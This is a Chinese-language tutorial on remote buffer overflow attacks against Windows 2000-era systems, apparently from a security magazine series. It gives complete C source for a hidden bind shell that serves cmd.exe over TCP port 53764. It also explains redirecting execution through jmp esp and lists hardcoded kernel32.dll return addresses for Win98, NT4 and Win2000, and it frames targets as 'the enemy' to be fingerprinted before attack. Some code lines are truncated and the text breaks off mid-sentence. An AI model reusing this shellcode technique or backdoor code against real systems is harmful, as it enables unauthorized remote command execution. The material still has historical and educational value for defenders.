我们来研究windows系统下的远程溢出方法。
我们的目的是研究如何利用windows程序的溢出来进行远程攻击。
如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章:
《window系统下的堆栈溢出》(NsfocusMagzine 20003)。
本文以及后续的《实战篇》都是建立在该文基础上的。
让我们从头开始。windows 2000 Advanced Server(Build 5.00.2195)
第一篇 《原理篇》
----远程溢出算法
如何开一个远程shell呢?
思路是这样的:首先使敌人的程序溢出,让他执行我们的shellcode。
我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器,
然后等待客户来的连接。当客户连接上之后,为这个客户开创一个cmd.exe,
把客户的输入输出和cmd.exe的输入输出联系起来,我们
远程的使用者就有了一个远程shell(跟telnet一样啦)。
上面的算法我想大家都该想得到,这里面socket部分比较简单。和Unix下的基本
差不多。就是加了一个WSAStartup;为客户开创一个cmd.exe,就是用CreateProcess
来创建这个子进程;但是如何把客户的输入输出和cmd.exe的输出输入联系起来呢?
我使用了匿名管道(Anonymous Pipe)来完成这个联系过程。
管道(Pipe)是一种简单的进程间通信(IPC)机制。在Windows NT,2000,98,95下都
可以使用。管道分有名和匿名两种,命名管道可以在同一台机器的不同进程间以及不同
机器
上的不同进程之间进行双向通信(使用UNC命名规范)。
匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。
匿名管道其实是通过用给了一个指定名字的有名管道来实现的。
管道的最大好处在于:他可以象对普通文件一样进行操作。
他的操作标示符是HANDLE,也就是说,他可以使用readFile,
WriteFile函数来进行与底层实现无关的读写操作!用户根本就不必了解网络间/进程间
通信的具体细节。
下面就是这个算法的C实现:
/***************************************************************************
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include
#include
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
这段代码是用来建立一个Tcp Server的,我们先申请一个socketfd,
使用53764(随便,多少都行)作为这个socket连接的端口,bind他,
然后在这个端口上等待连接listen。程序阻塞在accept函数直到有
client连接上来。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
创建两个匿名管道。hReadPipe只能用来读管道,hWritePipe1只能用来写管道。
*/
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformati
on);
/*
这段代码创建了一个shell(cmd.exe),并且把cmd.exe的标准输入用第二个管道的
读句柄替换。cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换。
这两个管道的逻辑示意图如下:
(父进程) read
(父进程) write---〔管道二〕---read 标准输入(cmd.exe子进程)
*/
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
/*
这段代码完成了客户输入和shell的交互。PeekNamedPipe用来异步的查询管道一,
看看shell是否有输出。如果有就readfile读出来,并发送给客户。如果没有,
就去接受客户的输入。并writefile写入管道传递给shell.
这两个管道与client和server的配合逻辑图如下:
输入命令(Client)
(cmd.exe子进程)
获得结果(Client) recv--(父进程)write--〔管道二〕--read 标准输入
(cmd.exe子进程)
*/
return 0;
}
/***************************************************************************
*/
----shellcode疑难问题
下面来写shellcode。针对windows系统缓冲区溢出的特殊性,shellcode有一些新的问题,
我采用如下办法来解决:
1)跳转指令地址的问题
因为在函数返回的时候,esp都指向返回地址后面的地址。(为什么?因为esp在返回
后要指向的地址,就是父函数在压完参数,准备执行call 子函数之前的堆栈顶。)
所以,我们的shellcode的开始位置,就是函数返回的时候,esp所指向的位置。因此,
使用jmp esp 就可以跳到我们的shellcode上来。
当然,这里面作了一个假设,就是程序是由调用者来负责堆栈的恢复的。
汇编代码就是这个样子:
push eax;
push ebx;
push ecx;
call SubRutine
add esp,000C
但是,如果是由子程序来负责恢复堆栈,
SubRutine:
....
:010091F3 C9 leave
:010091F4 C20C00 ret 000C
esp就不是指向我们的shellcode开始位置。它将指向shellcode+0c的位置。
事实上,当你在试图发现敌人程序的一个溢出点时,这个数值(这里是0C)是可以
很精确的发现的,因为你可以看到他的汇编原代码呀!
为了解决这种情况下shellcode不能被正确执行的问题,我们可以在shellcode前面
加上0c个nop.
这样,我们需要作的事情,就是用内存中一个jmp esp指令的地址,来覆盖敌人程序的返回地址。
在内存中,当然有很多dll都会有jmp esp指令,我选择了kernel32.dll里面的指令,因为
这kernel32.dll是系统核心DLL,加载在前面,后面的dll安装地址要随前面dll的
变动而变动,为了通用性的考虑,采用KERNEL32.DLL。
那么这些地址就是固定的了:
win98第二版下(4.00.2222a),返回地址为:0xbff795a3
winnt4下(4.00.1381),返回地址为:0x77f0eac3
win2000下(5.00.2195),返回地址为:0x77e2e32a
以上地址,我们可以在测试的时候使用,但是,在真正对付敌人的时候,为了区别出
选择哪一个地址,就需要首先摸清敌人的操作系统以及dll版本号。
jmp esp 地址如果不对,敌人的程序就会出现"无效页错误"对话框,并且一定会当掉,
所以,在攻击之前,必须通过一些蛛丝马迹,判断敌人的类型。
以下是测试时候使用的代码:
#ifdef WIN2000
#define JUMPESP "\x2a\xe3\xe2\x77"
#endif
#ifdef WINNT4
#define JUMPESP "\xc3\xea\xf0\x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP "\xa3\x95\xf7\xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP "敌人目标程序上的jmp esp地址。"
#endif
如果你有softice,可以直接在内存里面搜ffe4。如果没有,
绿色兵团的Backend 写过一